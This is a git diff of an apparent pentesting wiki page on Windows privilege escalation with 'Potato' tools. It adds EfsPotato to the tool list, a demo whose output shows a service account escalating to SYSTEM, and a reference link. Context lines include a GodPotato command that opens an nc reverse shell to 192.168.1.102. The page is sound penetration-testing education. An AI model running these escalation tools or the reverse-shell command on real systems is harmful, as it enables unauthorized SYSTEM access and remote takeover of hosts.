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roguepotato-and-printspoofer.md: Add EfsPotato

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22
windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
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@ -29,7 +29,7 @@ You can check their website and try their engine for **free** at:
***
{% hint style="warning" %}
**JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato) can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
**JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,**[**EfsPotato**](https://github.com/zcgonvh/EfsPotato) can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
{% endhint %}
## Quick Demo
@ -82,6 +82,25 @@ C:\temp>type C:\temp\w.log
nt authority\system
```
### EfsPotato
```
EfsPotato.exe "whoami"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]
[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=aeee30)
[+] Get Token: 888
[!] process with pid: 3696 created.
==============================
[x] EfsRpcEncryptFileSrv failed: 1818
nt authority\system
```
### GodPotato
```
@ -96,6 +115,7 @@ GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
* [https://github.com/antonioCoco/RoguePotato](https://github.com/antonioCoco/RoguePotato)
* [https://github.com/bugch3ck/SharpEfsPotato](https://github.com/bugch3ck/SharpEfsPotato)
* [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato)
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
### [WhiteIntel](https://whiteintel.io)